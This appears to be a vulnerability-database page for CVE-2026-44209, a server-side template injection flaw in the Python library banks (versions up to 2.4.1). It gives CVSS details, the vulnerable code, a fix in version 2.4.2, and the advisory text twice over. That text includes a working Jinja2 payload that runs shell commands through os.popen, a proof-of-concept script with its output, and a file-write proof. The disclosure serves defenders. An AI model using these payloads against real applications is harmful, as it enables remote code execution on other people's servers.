What is the CVSS score of CVE-2026-44209?

CVE-2026-44209 has a CVSS 3.1 base score of 7.5 (High). CVSS vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H. EPSS exploitation probability: 0.2%.

Is there a patch available for CVE-2026-44209?

Yes, a patch is available for CVE-2026-44209. Update the affected software to the latest version immediately.

Python CVE-2026-44209

Q: Which versions of Python are affected by CVE-2026-44209?

## Summary `banks <= 2.4.1` uses `jinja2.Environment()` (unsandboxed) to render prompt templates.. A patch is available.

HIGH

Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336)

2026-05-08 https://github.com/masci/banks

GHSA-gphh-9q3h-jgpp

Python RCE Ssti

7.5

CVSS 3.1 · Vendor: https://github.com/masci/banks

Severity by source

Vendor (https://github.com/masci/banks) PRIMARY

7.5 HIGH

AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Red Hat

7.5 HIGH

qualitative

Primary rating from Vendor (https://github.com/masci/banks).

CVSS VectorVendor: https://github.com/masci/banks

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Attack Vector

Network

Attack Complexity

High

Privileges Required

None

User Interaction

Required

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

CVE Published

May 08, 2026 - 20:36 nvd

HIGH 7.5

DescriptionCVE.org

Summary

banks <= 2.4.1 uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.

This is a vulnerability in how banks initializes its Jinja2 environment - not in Jinja2 itself.

Vulnerable Code

src/banks/env.py - the global Jinja2 environment is created without sandboxing:

python

env = Environment(
    autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
    ...
)

Attack Scenario

An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to Prompt() is vulnerable. For example:

python

# User-controlled input reaches Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text()
# Executes arbitrary command on the host

Proof of Concept

Setup:

bash

pip install banks==2.4.1

PoC script:

python

from banks import Prompt

payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(payload)
result = p.text()
print(f"[+] Output: {result}")

Confirmed output:

[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...

text

**File-write proof:**

from banks import Prompt

p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}") p.text()

ls -l /tmp/rce_banks_exec

-rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec

## Impact

Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.
## Fix

Fixed in `banks 2.4.2` (PR #74) by switching to `jinja2.sandbox.SandboxedEnvironment`, which blocks the dunder attribute traversal chain this exploit relies on.

Developers on `banks <= 2.4.1` should upgrade to `2.4.2` and avoid passing untrusted user input as the template argument to `Prompt()`.
## Resources
- Fix: https://github.com/masci/banks/pull/74
- CVE-2024-41950 (Haystack - identical root cause, CVSS 7.5)
- CVE-2025-25362 (spacy-llm - identical root cause)
- CWE-1336: Improper Neutralization of Special Elements in a Template Engine

Analysis

Summary

This is a vulnerability in how banks initializes its Jinja2 environment - not in Jinja2 itself.

Vulnerable Code

src/banks/env.py - the global Jinja2 environment is created without sandboxing:

python

env = Environment(
    autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
    ...
)

Attack Scenario

An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to Prompt() is vulnerable. For example:

python

# User-controlled input reaches Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text()
# Executes arbitrary command on the host

Proof of Concept

Setup:

bash

pip install banks==2.4.1

PoC script:

python

from banks import Prompt

payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(payload)
result = p.text()
print(f"[+] Output: {result}")

Confirmed output:

[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...

text

**File-write proof:**

from banks import Prompt

p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}") p.text()

ls -l /tmp/rce_banks_exec

-rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec

## Impact

Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.
## Fix

Fixed in `banks 2.4.2` (PR #74) by switching to `jinja2.sandbox.SandboxedEnvironment`, which blocks the dunder attribute traversal chain this exploit relies on.

Developers on `banks <= 2.4.1` should upgrade to `2.4.2` and avoid passing untrusted user input as the template argument to `Prompt()`.
## Resources
- Fix: https://github.com/masci/banks/pull/74
- CVE-2024-41950 (Haystack - identical root cause, CVSS 7.5)
- CVE-2025-25362 (spacy-llm - identical root cause)
- CWE-1336: Improper Neutralization of Special Elements in a Template Engine